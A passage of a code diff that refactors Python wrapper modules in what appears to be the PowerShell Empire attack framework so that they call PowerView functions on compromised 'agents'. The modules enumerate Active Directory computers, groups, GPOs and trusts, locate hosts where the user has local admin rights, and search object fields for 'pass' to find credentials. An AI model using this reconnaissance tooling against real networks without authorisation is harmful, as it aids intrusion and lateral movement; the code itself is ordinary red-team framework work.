|
||||
'Value' : ''
|
||||
},
|
||||
'OUName' : {
|
||||
'Description' : 'OU name to determine who has local adminisrtative acess to computers within it.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Recurse' : {
|
||||
'Description' : 'Switch. If a returned member is a group, recurse and get all members.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LocalGroup' : {
|
||||
'Description' : 'The local group to check access against, "Administrators", "RDP/Remote Desktop Users", or a custom SID. Defaults to "Administrators".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,108 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-GPOLocation',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local admin (or RDP) rights to. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : 'A (single) user name name to query for access.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'A (single) group name name to query for access.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LocalGroup' : {
|
||||
'Description' : 'The local group to check access against, "Administrators", "RDP/Remote Desktop Users", or a custom SID. Defaults to "Administrators".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,12 +5,12 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-FindLocalAdminAccess',
|
||||
'Name': 'Find-LocalAdminAccess',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Finds machines on the local domain where the current user has '
|
||||
'local administrator access.'),
|
||||
'local administrator access. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -36,23 +36,18 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate, comma separated.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Description' : "Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -62,7 +57,17 @@ class Module:
|
|||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : 'The maximum concurrent threads to execute.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -81,8 +86,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-FindLocalAdminAccess.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -93,9 +100,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-FindLocalAdminAccess "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -106,6 +114,6 @@ class Module:
|
|||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`nInvoke-FindLocalAdminAccess completed"'
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,104 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-ComputerField',
|
||||
|
||||
'Author': ['@obscuresec', '@harmj0y'],
|
||||
|
||||
'Description': ("Searches user object fields for a given word (default *pass*). Default field being searched is 'description'."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html',
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchTerm' : {
|
||||
'Description' : 'Term to search for, default of "pass".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchField' : {
|
||||
'Description' : 'Field to search in, default of "description".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,128 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetComputer',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Queries the domain for current computer objects. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
'Description' : 'Return computers with a specific name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SPN' : {
|
||||
'Description' : 'Return computers with a specific service principal name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OperatingSystem' : {
|
||||
'Description' : 'Return computers with a specific operating system, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Printers' : {
|
||||
'Description' : 'Switch. Return only printers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Ping' : {
|
||||
'Description' : "Switch. Ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : "Switch. Return full computer objects instead of just system names (the default).",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,99 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetDomainController',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Returns the domain controllers for the current domain or '
|
||||
'the specified domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for domain controllers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP queries to determine the domain controllers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,99 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetDomainTrust',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Return all domain trusts for the current domain or '
|
||||
'a specified domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain whose trusts to enumerate, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,88 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetForestDomain',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Return all domains for a given forest. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Forest' : {
|
||||
'Description' : 'The forest name to query domain for, defaults to the current forest.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,11 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetComputer',
|
||||
'Name': 'Get-NetGPO',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Queries the domain for current computer objects.'),
|
||||
'Description': ('Gets a list of all current GPOs in a domain.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -35,28 +35,28 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : 'Switch. Return full user computer objects instead of just system names.',
|
||||
'GPOname' : {
|
||||
'Description' : 'The GPO name to query for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Ping' : {
|
||||
'Description' : 'Switch. Only return hosts that respond to ping.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostName' : {
|
||||
'Description' : 'Return computers with a specific name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OperatingSystem' : {
|
||||
'Description' : 'Return computers with a specific operating system, wildcards accepted.',
|
||||
'DisplayName' : {
|
||||
'Description' : 'The GPO display name to query for, wildcards accepted. ',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for computers.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSpath' : {
|
||||
'Description' : 'The LDAP source to search through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -75,8 +75,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetComputer.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -87,9 +89,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Get-NetComputer "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -99,5 +102,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,118 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetGroup',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Gets a list of all current groups in a domain, or all the groups a given user/group object belongs to. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'The group name to query for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SID' : {
|
||||
'Description' : 'The group SID to query for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : 'The user name (or group name) to query for all effective groups of.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : 'Return full group objects instead of just object names (the default).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
